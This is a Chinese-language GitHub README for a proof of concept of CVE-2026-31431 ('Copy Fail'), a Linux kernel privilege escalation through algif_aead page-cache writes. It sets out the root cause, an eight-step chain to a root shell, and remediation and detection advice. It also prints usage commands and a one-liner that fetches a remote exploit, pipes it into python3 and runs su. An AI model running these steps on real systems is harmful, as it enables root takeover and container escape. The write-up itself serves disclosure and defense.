Sl4cK0TH/CVE-2026-31431-PoC

GitHub: Sl4cK0TH/CVE-2026-31431-PoC

该仓库提供了 CVE-2026-31431(Copy Fail)的概念验证代码,利用 Linux 内核 algif_aead 模块中的越界写入缺陷,通过页缓存污染实现对 setuid 二进制文件的内存篡改,从而确定性地完成本地到 root 的权限提升。

Stars: 1 | Forks: 1

# CVE-2026-31431 PoC ## Linux 内核中通过 `algif_aead` 页缓存写入实现本地权限提升("Copy Fail")

CVE-2026-31431 Copy Fail

**作者:** Van Glenndon Enad **原始发现:** Theori / Xint Code Research Team (Taeyang Lee) **发布日期:** 2026 年 4 月 29 日 **严重性:** 高 **CVSS v3.1 评分:** 7.8 **CVSS v3.1 向量:** CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H **CWE:** CWE-787 (越界写入),CWE-269 (不当权限管理) ## 目录 1. [执行摘要](#executive-summary) 2. [受影响的软件](#affected-software) 3. [漏洞描述](#vulnerability-description) 4. [根本原因分析](#root-cause-analysis) 5. [前置条件](#prerequisites) 6. [漏洞利用链](#exploit-chain) 7. [Payload 分析](#payload-analysis) 8. [概念验证](#proof-of-concept) 9. [影响](#impact) 10. [修复方案](#remediation) 11. [参考来源](#references) 12. [披露时间线](#disclosure-timeline) ## 执行摘要 CVE-2026-31431,公开昵称为 **"Copy Fail"**,是 Linux 内核 `algif_aead` 模块中的一个高危本地权限提升(LPE)漏洞——该模块是内核用户空间加密 API (`AF_ALG`) 的 AEAD 密码接口。该缺陷源于 2017 年通过提交 `72548b093ee3` 引入的一项性能优化(`in-place operation` 即“原地操作”),该优化无意中允许将页缓存支持的文件页放入 AEAD 加密操作期间的可写目标 scatterlist 中。 通过将三个内核子系统——`AF_ALG` 套接字、`splice()` 系统调用和 `authencesn` 算法的临时写入行为——串联起来,无特权的本地用户可以对**任何可读文件的页缓存执行受控的 4 字节写入**。通过将目标对准诸如 `/usr/bin/su` 的 `setuid` 二进制文件,此写入会破坏内存中的可执行映像,而无需修改磁盘上的文件,从而绕过了基于磁盘的文件完整性检测工具。由此产生的到 `root` 的权限提升是**确定性的**——无需竞态条件、不依赖特定发行版的内核偏移,也不需要特殊权限。一份公开发布的 732 字节 Python PoC 漏洞利用程序可以在单次未修改的运行中,在 Ubuntu、Amazon Linux、RHEL 和 SUSE 上获取 root shell。 ## 受影响的软件 | 组件 | 详情 | |---|---| | **受影响的子系统** | `crypto/algif_aead.c` — Linux 内核 `AF_ALG` AEAD 接口 | | **漏洞引入版本** | Linux 内核 4.14 (2017),提交 `72548b093ee38a6d4f2a19e6ef1948ae05c181f7` | | **已修复版本** | 6.18.22, 6.19.12, 7.0 | | **修复提交** | `a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5` | | **已验证的发行版** | Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 10.1, SUSE 16 | | **隐式受影响范围** | Debian, Arch, Fedora, Rocky, AlmaLinux, Oracle Linux 以及任何运行自 2017 年以来构建的未修补内核的发行版 | 该漏洞几乎在所有主流 Linux 发行版中潜伏了近**九年**。据 Theori 称,几乎所有发行版的默认内核配置都启用了 `AF_ALG`,这意味着系统不需要特殊的构建标志或配置即可受到该漏洞的影响。 ## 漏洞描述 Linux 内核通过 `AF_ALG` 套接字接口 (`crypto/algif_aead.c`) 向用户空间暴露加密原语。2017 年,合并了一项性能优化,允许 `algif_aead` 执行**原地** AEAD 操作——将源内存缓冲区复用为目标缓冲区——以避免不必要的数据拷贝。 当用户空间通过 `splice()` 系统调用向 `AF_ALG` 套接字输入数据时,缺陷就会暴露。在这种情况下,放入源 scatterlist 的页是**页缓存页**——即支持拼接文件的共享、由内核管理的内存。由于原地优化设置了 `req->src = req->dst`,这些页缓存页最终进入了**可写目标 scatterlist**。随后,`authencesn` 算法在 `dst[assoclen + cryptlen]` 处执行了一次临时写入,这会解析为那些页缓存页内的一个偏移量——实际上就是将攻击者控制的数据写入了拼接文件在内存中的映像。 因为页缓存在**整个宿主机(包括容器)之间是共享的**,所以一个进程的写入会影响同一内核上每个进程和容器对该文件的缓存页。 ## 根本原因分析 ### 2017 年的原地优化 `algif_aead.c` 中引发问题的更改设置了 `req->src = req->dst`,并通过 `sg_chain()` 将源 scatterlist 中的标签页链接到输出 scatterlist 中: ``` /* 2017 in-place optimization — commit 72548b093ee3 */ req->src = req->dst; /* source == destination */ sg_chain(dst, n + 1, src_tag); /* tag pages chained into writable dst */ ``` 当使用 `splice()` 将文件送入套接字时,scatterlist 的页是由页缓存支持的,而非私有匿名内存。将它们链接到可写的 `dst` scatterlist 违反了目标是可写私有内存的假设。 ### `authencesn` 的临时写入 `authencesn` 模板在 `dst[assoclen + cryptlen]` 处写入一个序列号临时值(`seqno_lo`,即 AAD 的第 4-7 字节)。因为 `dst` 现在包含了来自拼接文件的页缓存页,所以这次写入会落在该文件内存映像中由攻击者控制的偏移量处: ``` /* authencesn scratch write — offset determined by assoclen + cryptlen */ scatterwalk_map_and_copy(seqno, dst, req->assoclen + req->cryptlen, sizeof(seqno), 1); /* writes into page cache */ ``` 写入的 4 个字节对应于 `seqno_lo`,攻击者可以通过 `sendmsg()` 发送的 AAD payload 来控制它。 ### 三组件攻击面 ``` AF_ALG socket (SOCK_SEQPACKET) │ │ splice() — delivers file-backed pages into socket ▼ algif_aead in-place optimization │ req->src = req->dst │ page-cache pages land in writable scatterlist ▼ authencesn scratch write │ writes seqno_lo at dst[assoclen + cryptlen] │ = attacker-chosen 4 bytes at attacker-chosen file offset ▼ page cache corruption (no on-disk change) ``` ### 为什么修复有效 该修复 (`a664bf3d603d`) 完全还原了原地优化——`algif_aead` 现在**始终以非原地**(out-of-place)方式操作,并分配单独的目标缓冲区。由于源和目标现在来自不同的映射,`dst` 写入路径将永远无法触及 `src` 中的页缓存页。 ## 前置条件 | 要求 | 说明 | |---|---| | 本地无特权用户账号 | 不需要提升的权限 | | 自 2017 年起构建的内核 (≥ 4.14) | 实际上涵盖了所有主流发行版 | | 启用 `AF_ALG` (`CONFIG_CRYPTO_USER_API`) | 几乎所有发行版内核配置中的默认设置 | | `algif_aead` 模块可加载/已加载 | 在首次创建 `AF_ALG` 套接字时自动加载 | | 至少一个可读的 `setuid` 二进制文件 | 例如,`/usr/bin/su`、`/usr/bin/sudo` | | Python 3.10+(用于公开的 PoC) | 仅使用了标准库中的 `os`、`socket`、`zlib` | 值得注意的是,前置条件中并不包含:网络访问权限、内核调试功能、`CAP_SYS_ADMIN`、预加载的内核模块或任何预先存在的原语。该攻击面完全是本地且自包含的。 ## 漏洞利用链 ``` Step 1: Attacker opens an AF_ALG AEAD socket (SOCK_SEQPACKET) │ autoloads algif_aead module; no root required ▼ Step 2: Attacker opens the target setuid binary (e.g. /usr/bin/su) for reading │ only read permission needed ▼ Step 3: splice() transfers pages of the target file into the AF_ALG socket │ page-cache pages now in the source scatterlist ▼ Step 4: In-place optimization fires: req->src = req->dst │ page-cache pages enter the writable destination scatterlist ▼ Step 5: authencesn decrypt path performs scratch write at dst[assoclen + cryptlen] │ attacker controls assoclen, cryptlen, and the 4-byte seqno_lo value ▼ Step 6: Controlled 4-byte overwrite lands in the page cache of /usr/bin/su │ in-memory binary is patched; on-disk file unchanged ▼ Step 7: Attacker executes `su` — corrupted in-memory image runs as root │ setuid bit preserved; kernel executes attacker-patched code ▼ Step 8: Root shell obtained — privilege escalation complete ``` 在容器环境中,第 6 步会将页缓存破坏传播到**宿主机**以及共享同一内核的**所有同级容器**,从而实现完整的容器逃逸。 ## Payload 分析 该 PoC (`copy_fail_exp.py`,732 字节) 仅使用了 Python 3.10+ 标准库模块:`os`、`socket` 和 `zlib`。该漏洞利用程序通过 `splice()` 暂存文件页后,构造并向 `AF_ALG` 套接字发送经过精确构造的 `sendmsg()` payload。 ### 受控写入参数 | 参数 | 攻击者控制 | 机制 | |---|---|---| | **目标文件** | 攻击者可读的任何文件 | 传递给 `splice()` | | **写入偏移量** | `assoclen + cryptlen` | 在 `sendmsg()` 中通过套接字选项设置 | | **写入值 (4 字节)** | `seqno_lo` | `sendmsg()` 中 AAD payload 的第 4-7 字节 | ### 目标:`/usr/bin/su` ELF 补丁 默认的 PoC 针对 `/usr/bin/su`。这个 4 字节的写入会修补 ELF 二进制文件缓存页中的一条特定指令——将权限检查分支或 `uid` 检查替换为空操作或无条件跳转——以便在随后执行 `su` 时,`setuid` 执行环境会以 `root` 身份运行被修补的代码。这种破坏是**非持久化**的:页面驱逐或重新启动即可恢复原始的二进制文件。 ### 为什么没有竞态窗口 与典型的页缓存攻击(例如,Dirty COW)不同,Copy Fail **不需要竞态条件**。写入路径是直线的:`splice()` → `sendmsg()` → 临时写入。每次调用都是确定性和同步的,使得该漏洞利用在硬件、内核版本和发行版之间都具有极高的可靠性。 ## 概念验证 规范的 PoC 由 Theori 在官方仓库中维护。它是一个独立的、732 字节的 Python 3.10+ 脚本,没有外部依赖。 **默认用法(针对 `/usr/bin/su`):** ``` python3 copy_fail_exp.py ``` **自定义 setuid 目标:** ``` python3 copy_fail_exp.py /usr/bin/sudo ``` **单行命令(来自官方网站):** ``` curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user) ``` **规范 PoC 的 SHA256:** ``` a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9 ``` 同样的未修改脚本已在一次 tmux 会话中公开演示了在 Ubuntu 24.04 LTS、Amazon Linux 2023、RHEL 10.1 和 SUSE 16 上获取 root shell。 ## 影响 | 类别 | 描述 | |---|---| | **机密性** | 以 `root` 身份完全读取宿主机上的所有文件 | | **完整性** | 能够写入任意文件、安装后门、修改 `/etc/passwd` 或 `/etc/shadow` | | **可用性** | 完全接管宿主机;可能导致服务中断 | | **身份验证** | 除本地用户账号外无需任何凭据 | | **容器逃逸** | 页缓存在宿主机之间共享——一个拥有本地 shell 的 Pod 可以破坏节点并跨越租户边界 | | **CI/CD 流水线** | 在自托管 Runner 上执行的不受信任的 Pull Request 会获取 Runner 宿主机的 root 权限 | | **持久化** | 利用后:SSH 密钥注入、cron 任务、内核模块安装——所有这些都很容易实现 | | **规避取证** | 磁盘上的二进制文件从未被修改;文件完整性监视器 (FIM)、AIDE、Tripwire 看不到任何变化 | 最关键的影响载体是**多租户环境**:共享开发机、Kubernetes 工作节点、GitHub Actions 自托管 Runner、GitLab/Jenkins CI 代理、Notebook 托管平台以及以普通用户账号运行用户提供的代码的 Serverless 环境。任何运行未修补内核的此类环境都会被任何能够执行代码的用户的完全攻破。 ## 修复方案 ### 立即行动 **升级内核**到包含主线修复提交 `a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5` 的版本: | 发行版 | 已修复内核版本 | |---|---| | Linux 上游 | 6.18.22, 6.19.12, 7.0 | | Ubuntu 24.04 LTS | 供应商补丁可用 — `apt update && apt upgrade` | | Amazon Linux 2023 | 供应商补丁可用 — `dnf update kernel` | | RHEL 10.1 | Red Hat 补丁进行中 — AlmaLinux 已发布上游修复 | | SUSE 16 | 供应商补丁可用 — `zypper update kernel-default` | ### 如果无法立即升级内核 禁用 `algif_aead` 内核模块以从源头阻断攻击路径: ``` # 使 block 在重启后持久化 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # 从运行中的 kernel 卸载 module (如果已加载) rmmod algif_aead ``` ### 纵深防御 - **容器与沙箱:** 无论补丁状态如何,通过 `seccomp` 阻止 `AF_ALG` 套接字的创建——将 `SOCK_SEQPACKET` + `AF_ALG`添加到您的 seccomp 配置文件的拒绝列表中。 - **Kubernetes:** 在所有 Pod 上强制执行 seccomp 配置文件;部署节点级别的内核审计规则以检测意外的 `AF_ALG` AEAD 套接字创建。 - **检测 (Falco 规则):** 对已知磁盘加密工具链之外的任何进程打开 `AF_ALG` `SOCK_SEQPACKET` 套接字发出警报——这是漏洞利用强制性的第一步。 - **文件完整性监控:** 标准的 FIM 工具**不会**检测到此攻击(没有磁盘上的更改)。监控意外的 `su`/`sudo` 执行并结合 `AF_ALG` 套接字的使用情况,以此作为行为信号。 - **最小权限原则:** 避免在与其他敏感工作负载共享的内核上运行不受信任的代码。 ## 披露时间线 | 日期 | 事件 | |---|---| | 2026-03-23 | 漏洞由 Theori 报告给 Linux 内核安全团队 | | 2026-03-24 | 收到初步确认 | | 2026-03-25 | 内核维护者提出并审查了补丁 | | 2026-04-01 | 修复提交至主线 (`a664bf3d603d`) | | 2026-04-22 | 分配 CVE-2026-31431 | | 2026-04-29 | 在 [copy.fail](https://copy.fail) 公开披露;PoC 在 GitHub 上发布 | | 2026-04-30 | AlmaLinux 使用上游修复发布了修补过的内核 | | 2026-04-30 | Microsoft 安全博客、Sophos、Sysdig、Bugcrowd 发布分析文章 | | 2026-05-01 | 发布 Kubernetes 容器逃逸 PoC | | 2026-05-02 | 独立分析和文档发布 | - [NVD — CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) - [Theori / 官方 Copy Fail 网站 — copy.fail](https://copy.fail) - [Theori — 官方 PoC 仓库 (GitHub)](https://github.com/theori-io/copy-fail-CVE-2026-31431) - [Xint Code 博客 — Copy Fail:732 字节在所有主要 Linux 发行版上获取 Root](https://xint.io/blog/copy-fail-linux-distributions) - [Microsoft 安全博客 — CVE-2026-31431:Copy Fail 漏洞可实现 Linux root 权限提升](https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation) - [Openwall OSS-Security — CVE-2026-31431 完全披露](https://www.openwall.com/lists/oss-security/2026/04/29/23) - [CERT-EU 安全公告 2026-005](https://cert.europa.eu/publications/security-advisories/2026-005/) - [Sysdig 博客 — Copy Fail Linux 内核缺陷使本地用户在数秒内获取 root 权限](https://www.sysdig.com/blog/cve-2026-31431-copy-fail-linux-kernel-flaw-lets-local-users-gain-root-in-seconds) - [Bugcrowd 博客 — 我们对 Copy Fail 的了解 (CVE-2026-31431)](https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/) - [AlmaLinux 博客 — Copy Fail (CVE-2026-31431) 补丁发布](https://almalinux.org/blog/2026-05-01-cve-2026-31431-copy-fail/) - [Red Hat 客户门户 — CVE-2026-31431](https://access.redhat.com/security/cve/cve-2026-31431) - [Tenable — CVE-2026-31431](https://www.tenable.com/cve/CVE-2026-31431)
标签:0day挖掘, AF_ALG, algif_aead, Copy Fail, CVE-2026-31431, CVSS 7.8, CWE-269, CWE-787, Linux内核漏洞, LPE, PoC, setuid, splice系统调用, Web报告查看器, 内核安全, 内核攻防, 暴力破解, 本地提权, 权限管理不当, 漏洞分析, 漏洞复现, 网络安全, 越界写入, 路径探测, 隐私保护, 页缓存写, 高危漏洞